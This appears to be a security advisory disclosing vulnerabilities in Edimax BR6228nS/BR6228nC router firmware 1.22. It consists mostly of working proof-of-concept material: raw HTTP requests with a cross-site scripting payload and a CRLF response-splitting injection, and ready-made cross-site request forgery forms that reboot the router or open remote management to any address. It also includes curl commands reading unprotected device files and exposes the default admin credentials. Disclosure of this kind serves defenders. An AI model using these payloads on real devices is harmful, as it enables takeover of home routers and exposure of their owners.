Edimax BR6228nS/BR6228nC – Multiple Vulnerabilities
# Title: Edimax BR6228nS/BR6228nC - Multiple vulnerabilities # Date: 01.09.15 # Vendor: edimax.com # Firmware version: 1.22 # Author: Smash_ # Contact: smash [at] devilteam.pl Few vulnerabilities found in Edimax BR6228nS/BR6228nC router firmware. 1/ Cross Site Scripting Request: POST /goform/formWizSetup HTTP/1.1 Host: 192.168.0.10:8080 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10:8080/main.asp Cookie: language=0 Authorization: Basic YWRtaW46MTIzNA== Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 33 setPage=x");alert("X&wizEnabled=1 Response: HTTP/1.0 200 OK Server: GoAhead-Webs <html> <body class="background" onLoad=document.location.replace("x");alert("X")></html> 2/ HTTP Response Splitting Request: POST /goform/formReflashClientTbl HTTP/1.1 Host: 192.168.0.10:8080 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.10:8080/stadhcptbl.asp Cookie: language=0 Authorization: Basic YWRtaW46MTIzNA== Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 163 submit-url=%2Fstadhcptbl.asp%0d%0aXXX%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('X')</script> Response: HTTP/1.0 302 Redirect Server: GoAhead-Webs Date: Fri Nov 16 18:08:51 2012 Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: http://192.168.0.10:8080/stadhcptbl.asp XXX Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html <script>alert('X')</script> 3/ Cross Site Request Forgery Examples: <html> <!-- Reboot --> <body> <form action="http://192.168.0.10:8080/goform/formReboot" method="POST"> <input type="hidden" name="reset_flag" value="0" /> <input type="hidden" name="submit-url" value="/tools.asp" /> <input type="submit" value="Go" /> </form> </body> </html> - <html> <!-- Enable remote access --> <body> <form action="http://192.168.0.10:8080/goform/formReManagementSetup" method="POST"> <input type="hidden" name="reManHostAddr" value="0.0.0.0" /> <input type="hidden" name="reManPort" value="8080" /> <input type="hidden" name="reMangEnable" value="ON" /> <input type="hidden" name="submit-url" value="/system.asp" /> <input type="hidden" name="" value="" /> <input type="submit" value="Go" /> </form> </body> </html> - <html> <!-- XSS --> <body> <form action="http://192.168.0.10:8080/goform/formWizSetup" method="POST"> <input type="hidden" name="setPage" value="x");alert("X" /> <input type="hidden" name="wizEnabled" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html> 4/ Unprotected files Following url's can be requested without http authorisation in order to obtain detail informations about router: http://192.168.0.10:8080/FUNCTION_SCRIPT http://192.168.0.10:8080/main.asp Example: devil@hell:~$ curl -ig http://192.168.0.10:8080/ HTTP/1.1 401 Unauthorized Server: GoAhead-Webs Date: Fri Nov 16 18:28:39 2012 WWW-Authenticate: Basic realm="Default: admin/1234" Pragma: no-cache Cache-Control: no-cache Content-Type: text/html devil@hell:~$ curl -ig http://192.168.0.10:8080/FUNCTION_SCRIPT HTTP/1.0 200 OK Date: Fri Nov 16 18:28:47 2012 Server: GoAhead-Webs Last-modified: Fri Nov 16 09:57:30 2012 Content-length: 997 Content-type: text/html _DATE_="2012.11.16-17:51:47" _VERSION_="1.22" _MODEL_="BR6228GNS" _MODE_="EdimaxOBM" _PLATFORM_="RTL8196C_1200" _HW_LED_WPS_="4" _HW_LED_POWER_="6" _HW_LED_WIRELESS_="2" _HW_LED_USB_="17" _HW_BUTTON_RESET_="5" (...) |